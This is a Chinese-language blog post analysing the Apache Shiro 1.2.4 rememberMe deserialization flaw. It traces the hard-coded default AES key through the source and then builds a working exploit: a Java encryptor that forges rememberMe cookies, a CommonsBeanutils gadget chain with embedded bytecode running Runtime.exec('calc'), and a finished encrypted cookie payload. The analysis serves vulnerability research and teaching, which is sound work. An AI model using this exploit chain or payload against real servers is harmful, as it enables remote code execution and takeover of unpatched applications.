Shiro反序列化漏洞分析

本文最后更新于:2024年10月14日 中午

Shiro

配置环境

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

修改shiro/samples/web目录下的pom.xmljstl版本为1.2后更新maven

调试分析

需要分析三个问题:

  • 为什么Shiro的RememberMe可以被伪造
  • 为什么会触发反序列化漏洞
  • 如何构造反序列化利用链

启动Tomcat后,会自动跳转页面,点击到登陆页:

勾选RememberMe,然后登陆抓包,

显然这个remeberMe是AES加密,几个斜杠连接的。下面开始调试:

如果运行没报错但是调试报错了

1
Error opening zip file or JAR manifest missing : C:\JetBrains\IntelliJIdea2022.3\groovyHotSwap\gragent.jar

可以在插件中禁用groovy插件解决

然后全局搜索cookie,找到CookieRememberMeManager.java,这个就是漏洞存在的地方

看一下所有的函数,比较明显存在反序列化的地方有两个,

根据这两个函数的释义,getRememberedSerializedIdentity方法大概率是用在反序列化cookie的时候,所以查看对它的调用,只有一处,在其这个类的父类AbstractRememberMeManager中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

可以看到调用了这个方法后返回了一串byte,然后用于后续的convertBytesToPrincipals,可以看到这个方法对字节数组进行了先解密再反序列化,

分析一下这个解密函数:使用了CipherService类解密,这是一个接口类,这里通过一个getCipherService方法得到一个实例,而这个实例本来就是AbstractRememberMeManager的一个私有成员变量;使用了getDecryptionCipherKey方法获取密钥,同样是返回一个私有成员变量。

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

在实例化时便被赋值,确认为AES进行加密,然后下一行就是使用一个字节数组常量去初始化密钥,密钥也写在了这个类文件里面,AES是对称加密,所以加密和解密密钥是一样的。

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

分析到这里,就解决了为什么Shiro的RememberMe可以进行伪造的问题。

回到初次调用decrypt方法的地方,分析为什么触发反序列化漏洞,调用的是父类的deserialize方法,返回一个PrincipalCollection类的实例,这里的getSerializer是返回一个原生的Serializer<T>,然后调用其反序列化方法。

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

AbstractRememberMeManager的514行出下断点,然后调试,在页面登陆,记得删除原有的JSESSIONID,步进两步,就进入了默认的序列化类

POC构造

这里用到一个IDEA的插件,帮我们分析依赖,MavenHelper,去插件搜索下载即可。下载完成后重启应用,打开对应Web应用的pom.xml,下面会多出一个依赖分析。可以发现这里虽然有CC依赖,但是只是在Test中,并不在实际Web应用中,我们需要Runtime和Compile的依赖。

于是乎,发现了CommonBeanUtils包,CB链分析

这里就先用CB链来打了,至于CC链的打法后面单独写一篇。

这是Shiro中使用的配置:

1
2
3
4
5
6
7
8
9
10
11
public DefaultBlockCipherService(String algorithmName) {
super(algorithmName); //AES

this.modeName = OperationMode.CBC.name();
this.paddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
this.blockSize = DEFAULT_BLOCK_SIZE; //0 = use the JCA provider's default

this.streamingModeName = OperationMode.CBC.name();
this.streamingPaddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
this.streamingBlockSize = DEFAULT_STREAMING_BLOCK_SIZE;
}

还需要注意最后将初始向量和EncPayload组合在一起:

仿造Shiro的来就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class EncPayload {
public static byte[] encryptionCipherKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 使用 ensureSecureRandom 生成随机 IV
public static byte[] generateRandomIV(int sizeInBits) {
int BITS_PER_BYTE = 8;
int sizeInBytes = sizeInBits / BITS_PER_BYTE; // 将位数转为字节数
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = ensureSecureRandom();
random.nextBytes(ivBytes); // 生成随机字节的 IV
return ivBytes;
}

// 确保使用安全的随机数生成器
public static SecureRandom ensureSecureRandom() {
return new SecureRandom(); // SecureRandom 通常用于密码学操作
}

// 加密方法
public static byte[] encrypt(byte[] data) throws Exception {
// 创建 AES 密钥规格
SecretKeySpec secretKey = new SecretKeySpec(encryptionCipherKey, "AES");
// 随机生成一个 16 字节(128 位)的 IV
byte[] iv = generateRandomIV(128); // 生成的 IV 长度为 128 位(16 字节)
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
// 获取 AES Cipher 实例,使用 CBC 模式和 PKCS5Padding 填充方式
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
// 初始化 Cipher 为加密模式,并传入密钥和 IV
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec);
byte[] encryptedData = cipher.doFinal(data);
// 创建一个包含 IV 和加密数据的新数组
byte[] output = new byte[iv.length + encryptedData.length];
// 复制 IV 到输出数组的前 16 个字节
System.arraycopy(iv, 0, output, 0, iv.length);
// 复制加密数据到输出数组的后续部分
System.arraycopy(encryptedData, 0, output, iv.length, encryptedData.length);
// 返回包含 IV 和加密数据的字节数组
return output;
}

public static byte[] readFileToByteArray(String filePath) throws IOException {
File file = new File(filePath);
byte[] byteArray = new byte[(int) file.length()]; // 根据文件大小初始化字节数组

try (FileInputStream fis = new FileInputStream(file)) {
int bytesRead = fis.read(byteArray); // 读取文件内容到字节数组
if (bytesRead != byteArray.length) {
throw new IOException("Could not completely read the file: " + filePath);
}
}
return byteArray;
}

public static void getPOC(String fileName) throws Exception {
byte[] bytes = encrypt(readFileToByteArray(fileName));
System.out.println(Base64.getEncoder().encodeToString(bytes) + "\nPocLength:" + bytes.length);
}
}

然后将上次写好的CB链放进去加密一下,

重发请求包:注意这里要删除之前获得的JSESSIONID,否则不会重新验证rememberMe

然后,没弹出计算器,去看看Shiro报错,没有出现解密相关的报错说明加密写的没有问题

为什么会出现CC的依赖呢,去看一下BeanComparator的内容,确实依赖的CC库,在没有指定比较器时默认配置了ComparableComparator

显然这里没有CC的依赖,如何解决,是否能有一个类可以替代ComparableComparator

分析一下需要满足的条件:

  • 不依赖CC库,就是jdk/shiro/CB中带有的
  • 需要implements Comparator,Serializable
  • 兼容性强,意思就是长时间没有迭代更新的

怎么去找呢,在IDEA中ctrl+h可以看哪些类实现了接口,如图:

这里可以有很多选择,phith0n原文中用的是CaseInsensitiveComparator,它是String类中的一个子类,满足上面的所有条件。

这里我用的是java.util.Collections$ReverseComparator2,也能满足条件,怎么获取它的实例,看对应的类怎么写的就行,这里用Collections.reverseOrder()即可获取一个对应的实例。

下面构造测试代码:在CB-1的基础上稍微改一下就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
byte[] CalcCode = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +
"W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" +
"jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" +
"GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" +
"4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" +
"ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" +
"MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" +
"HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" +
"lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" +
"2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" +
"nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" +
"AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" +
"ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" +
"bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl calcTemp = new TemplatesImpl();
setFieldValue(calcTemp, "_bytecodes", new byte[][]{CalcCode});
setFieldValue(calcTemp, "_name", "CalcTemplatesImpl");
setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add("3xsh0re");
queue.add("CB-1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(comparator, "comparator", Collections.reverseOrder());// here!
setFieldValue(queue, "queue", new Object[]{calcTemp, calcTemp});
}

用加密函数生成一个payload:

1
KsLiat7W1iFZZ4siCmYTxl22F68mOMu4PWJ2+ARjbnwvhuXfnlF4q9Zo8kgwslicdxGlttpLYv/cEgFLk/DatTJ+nITGQWf2+XYMjJVy38Li8l4DCwq9SzpPLVZX3bhM8P8dJuctGoB66hXXDN3kDvVntLbrhSuEyFDst5ZLSV5gN+TSOEvjVgJEOnnIy51S+PKDBy61hoRY6QkfPM0I3c123HBxTcNlh8ljQLl6AtQiKDStH9EgiD+ftPvnpPOydq1Yl//+OgOyNcCXSiEH1BZwkpC8J97fcilwzErw3lU2JClg14ygt2Wr1oeGJf50scRixDc8ETfGLMXRdGiE9VBUC2lN57kjiMQTzLO5cSski9TI84V6LAoXAht1+EfK69UpmUTEBm31JMqn+38qracdrGt6TKpkVdnRzgcbSuFynNcheeFUXoN5OVwtEAaPaGCUX6hzoHdIVyc2LyrOQFacJ/wcpBzF7dH4NarbSPcv3G6AlRG5ObM3DRNhQx5+UHBryXGwca8xJtNxHFotgVSSymYjLu2eDmeG8sEGregonyqSFdog0Vy7z/EW4bwX+YDkETmfgBzbVPIS3CO8pEVJSeT/Kod0uLGKEwD49sE0W9WEQQZcejWFjuz39NdklD6loblR+HPFPdo++E7L39n8qELxhvE6ndIuA/ReaShf4iipKhCT5KTwR/0u+F1FDWkoLFeMCgvHcYAYr815/gv7dG5i4/8z8uEFgFCmBkF/goxmPcW9IH6apdfd1SWjP/zt82axSoXFJWLL8jqKdFLCuSCHgzoV04xIqIfcRDnvA9h/uzmjziWkcT8Qt3NVm7aB1/+VP+tiq9ToYRvvlmeUNbfIOBsU9f3Ux9pRJ7jKh6xJfpDo3ch6diMUUHR+26APQJxiPYCmhII4laE0x39DsNGty/Rhn5W5A55njRdfKZDvkPgqSQf42P+L8X0TrVWZwDSkXsJt1YzYK+hmykAd++hHFthUdaEJASvz9WCtHPvKhtm4cUdnMI/C+BhvGhP9o0C/I/J7kfzrUbdeIRs8NnuD4wxDyTS367BPDgNPbZEPGHejR9RmV+LRK+ehT9132G5M5Qrwltt0fc9EfvlEZpL1PSlmBObboPxdln0hpYS7WMBkkRLoz0pNnbNqyUvJ8Sl1CutDOKQ2LER+4RMbtBCV/GKu/kBsJkosweRvXKaiWSDLgrVRrlcB2M3TANGoVc5Rlv4ofl6I6EIisBV1HsmRreHXYY1eo092rMIwD//skNoyoE4b3OKp7rYYSNaByeu1vokiPinOTQ+qpINvqOLh2S/19K5fnyAbVZZQ31LeVIu/3kACMo4au1n35C0D1foxP+iZzr48HeFxswu/pT9PROfqg1DFjDocB8N9JGS37TBeikP5eRySdxTQtlg96YW+Mjv852IwTK74o/hzEr1N02snFa6pB3ORaKBFK1GL/2N6kGL16wrQVcjHobS7gmckWp4wCVfS8vwo9nqOsCqLc5GaqyCNJ1y0kl8EhQ0LZ/GLzHrpxeZUpqrpKEf18KW21XAXi5BGowliAttMz4g5PlOGJEVZaj4LEKImjDsoTOi3xxbNKfYos/gqVCMRlpqb1ijo4XP7CapOXDdX5d82ve3EtoS4oou3WdmhFiC0aRB7OnLhe/AWi0jLYIa+7EhU4tnoGU/UtFgFXr3rUZdGjTiFo1yAmhEVFOc3U5lYVGcQ3wLnT+K3JCsAL7p4xX/EBfHbYGYDdDVDpMY7dM8jUCTUJ3eoWjwqpvMJMBg31KYUB+/5fbr96IotBHK3PLvJoWh/7tRzd+1wQdYQ8j+SGIAVZ59hNsHjwnNZQaJXEPTALwc7V+V1NHSWe+KzJLGZmoPQg0Fu8THOB+gh0DYImLg/C5+ilGNJKqsBmapfn1XErlCVzasJkrx+ldAMHdnxh3Lasn1Y1urMOBVuh5cOYoHnJQMjQNTVFPs/1hwBJ/Z4T4mUweO57RuqMmxb+2gytNwR87H/V748dqjrz4obHNoi/CyUw5aAlaE=

攻击:

当然这里还有一些报错,不过这是武器化该解决的问题,这里暂且不提。

CB-Shiro完整Demo


Shiro反序列化漏洞分析
https://3xsh0re.github.io/2024/08/24/Shiro550分析/
作者
3xsh0re
发布于
2024年8月24日
许可协议